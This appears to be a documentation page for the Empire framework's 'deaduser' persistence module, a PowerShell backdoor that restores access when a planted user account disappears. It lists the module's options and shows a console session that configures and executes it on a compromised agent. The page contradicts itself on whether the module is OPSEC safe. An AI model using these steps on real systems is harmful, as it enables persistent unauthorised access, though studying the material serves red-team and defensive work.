Invoke-DeadUserBackdoor - Empire Module


This page contains detailed information about how to use the powershell/persistence/powerbreach/deaduser Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview

Name: Invoke-DeadUserBackdoor
Module: powershell/persistence/powerbreach/deaduser
Source code [1]: empire/server/modules/powershell/persistence/powerbreach/deaduser.yaml
Source code [2]: empire/server/modules/powershell/persistence/powerbreach/deaduser.py
MITRE ATT&CK: T1098
Language: PowerShell
Needs admin: No
OPSEC safe: Yes
Background: No

Backup backdoor for a backdoor user.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the deaduser module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options

This is a list of options that are required by the deaduser module:

Agent
Agent to run module on.

Listener
Listener to use.

Sleep
Time (in seconds) to sleep between checks.
Default value: 30.

Timeout
Time (in seconds) to run the backdoor. Defaults to 0 (run forever).

Username
User account to check for existence.

Additional Module Options

This is a list of additional options that are supported by the deaduser module:

Domain
Switch. Check the current domain for the user account.

OutFile
Output the backdoor to a file instead of tasking to an agent.

Deaduser Example Usage

Here's an example of how to use the deaduser module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/persistence/powerbreach/deaduser

 Author       @sixdub                                     
 Background   False                                       
 Comments     http://sixdub.net                           
 Description  Backup backdoor for a backdoor user.        
 Language     powershell                                  
 Name         powershell/persistence/powerbreach/deaduser 
 NeedsAdmin   False                                       
 OpsecSafe    True                                        
 Techniques   http://attack.mitre.org/techniques/T1098    


,Record Options----,----------,------------------------------------,
| Name     | Value | Required | Description                        |
|----------|-------|----------|------------------------------------|
| Agent    |       | True     | Agent to run module on.            |
|----------|-------|----------|------------------------------------|
| Domain   |       | False    | Switch. Check the current domain   |
|          |       |          | for the user account.              |
|----------|-------|----------|------------------------------------|
| Listener |       | True     | Listener to use.                   |
|----------|-------|----------|------------------------------------|
| OutFile  |       | False    | Output the backdoor to a file      |
|          |       |          | instead of tasking to an agent.    |
|----------|-------|----------|------------------------------------|
| Sleep    | 30    | True     | Time (in seconds) to sleep between |
|          |       |          | checks.                            |
|----------|-------|----------|------------------------------------|
| Timeout  | 0     | True     | Time (in seconds) to run the       |
|          |       |          | backdoor. Defaults to 0 (run       |
|          |       |          | forever).                          |
|----------|-------|----------|------------------------------------|
| Username |       | True     | User account to check for          |
|          |       |          | existence.                         |
'----------'-------'----------'------------------------------------'

(Empire: usemodule/powershell/persistence/powerbreach/deaduser) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/persistence/powerbreach/deaduser) > set Listener listener1
[*] Set Listener to listener1
(Empire: usemodule/powershell/persistence/powerbreach/deaduser) > set Sleep 30
[*] Set Sleep to 30
(Empire: usemodule/powershell/persistence/powerbreach/deaduser) > set Timeout 0
[*] Set Timeout to 0
(Empire: usemodule/powershell/persistence/powerbreach/deaduser) > set Username user
[*] Set Username to user
(Empire: usemodule/powershell/persistence/powerbreach/deaduser) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author

References

See Also

Check also the following modules related to this module:

Version

This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.